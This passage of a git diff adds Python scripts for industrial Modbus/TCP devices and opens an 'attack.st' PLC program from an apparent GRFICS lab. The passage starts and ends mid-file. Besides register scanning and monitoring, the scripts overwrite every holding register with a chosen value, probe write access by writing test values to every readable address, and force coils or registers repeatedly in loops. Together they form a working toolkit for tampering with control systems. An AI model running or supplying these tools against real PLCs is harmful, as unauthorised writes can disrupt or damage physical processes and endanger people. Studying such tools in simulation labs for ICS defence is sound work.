data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := 